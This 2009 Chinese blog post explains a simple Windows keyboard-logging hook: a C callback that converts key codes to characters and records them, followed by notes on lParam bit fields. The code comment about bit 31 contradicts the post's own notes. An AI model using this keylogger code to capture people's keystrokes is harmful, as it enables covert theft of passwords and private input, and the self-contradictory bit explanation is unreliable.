简单键盘记录钩子

钩子过程函数如下:

LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam){
     if(((lParam>>31)&1) == 1){
         //当前按键正在被按下
         if(wParam >= 0x20 && wParam <= 0x7e){

               //可打印字符
              char buf[2];
              int capsLockState=GetKeyState(VK_CAPITAL); //CAP LOCK键状态
              if(wParam>='A' && wParam<='Z' &&((capsLockState&1)==0)){
                  buf[0]=(char)wParam+32;
              }else{
                   buf[0]=(char )wParam;
               }
              buf[1]='\0';
              LogKey(buf);
         }
  }
 return CallNextHookEx(g_hKeyHook,nCode,wParam,lParam);
}

说明:

1,可以通过lParam获取按键的一些状态其各位的定义如下:

0~15:按键重复次数

16~23:扫描码

24:是否是功能键或数字小键盘上的键,是则为1.

25~28:保留。

29:Alt键是否被按下,按下为1.

30:如果在消息被发送之前是按下的则为1,否则为0。

31:如果键正在被按下,则为0

2,通过GetKeyState获取一些控制键的状态,具体使用方法见MSDN.

posted on 2009-11-14 10:39  Joshua Leung  阅读(469)  评论(0)    收藏  举报

导航